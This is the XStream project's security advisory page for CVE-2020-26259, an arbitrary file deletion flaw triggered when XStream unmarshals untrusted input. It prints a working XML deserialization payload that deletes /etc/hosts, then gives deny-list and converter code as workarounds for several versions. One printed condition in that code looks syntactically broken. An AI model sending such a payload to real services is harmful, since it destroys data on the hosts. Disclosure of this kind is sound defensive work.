Codebase list libxstream-java / aaea765 xstream-distribution / src / content / CVE-2020-26259.html
aaea765

Tree @aaea765 (Download .tar.gz)

CVE-2020-26259.html @aaea765raw · history · blame

<html>
<!--
 Copyright (C) 2020 XStream committers.
 All rights reserved.

 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.

 Created on 06. December 2020 by Joerg Schaible
 -->
  <head>
    <title>CVE-2020-26259</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>

    <p>CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long
    as the executing process has sufficient rights.</p>

    <h2 id="affected_versions">Affected Versions</h2>

	<p>All versions until and including version 1.4.14 are affected running in a Java environment containing the JAX-WS
	runtime, if using the version out of the box.  No user is affected, who followed the recommendation to setup
	<a href="security.html#framework">XStream's security framework</a> with a whitelist.</p>

    <h2 id="description">Description</h2>

    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in a server-side forgery request.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;map&gt;
  &lt;entry&gt;
    &lt;jdk.nashorn.internal.objects.NativeString&gt;
      &lt;flags&gt;0&lt;/flags&gt;
      &lt;value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'&gt;
        &lt;dataHandler&gt;
          &lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
            &lt;contentType&gt;text/plain&lt;/contentType&gt;
            &lt;is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'&gt;
              &lt;tempFile&gt;/etc/hosts&lt;/tempFile&gt;
            &lt;/is&gt;
          &lt;/dataSource&gt;
          &lt;transferFlavors/&gt;
        &lt;/dataHandler&gt;
        &lt;dataLen&gt;0&lt;/dataLen&gt;
      &lt;/value&gt;
    &lt;/jdk.nashorn.internal.objects.NativeString&gt;
    &lt;string&gt;test&lt;/string&gt;
  &lt;/entry&gt;
&lt;/map&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing
	process has sufficient rights only by manipulating the processed input stream.</p>

    <h2 id="workaround">Workaround</h2>
    <p>As recommended, use XStream's security framework to implement a whitelist for the allowed types.</p>
    <p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
    simply add two lines to XStream's setup code:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
</pre></div>
    <p>Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup
    code:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
</pre></div>
    <p>Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from
    scratch and deny at least the following types: <em>javax.imageio.ImageIO$ContainsFilter</em>,
    <em>java.beans.EventHandler</em>, <em>java.lang.ProcessBuilder</em>, <em>jdk.nashorn.internal.objects.NativeString</em>,
    <em>java.lang.Void</em> and <em>void</em> and deny several types by name pattern.</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
</pre></div>
	<p>Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently
	know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:</p>
<div class="Source Java"><pre>xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null &amp;&amp; (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
        || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);
</pre></div>

    <h2 id="credits">Credits</h2>

    <p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p>

    </body>
 </html>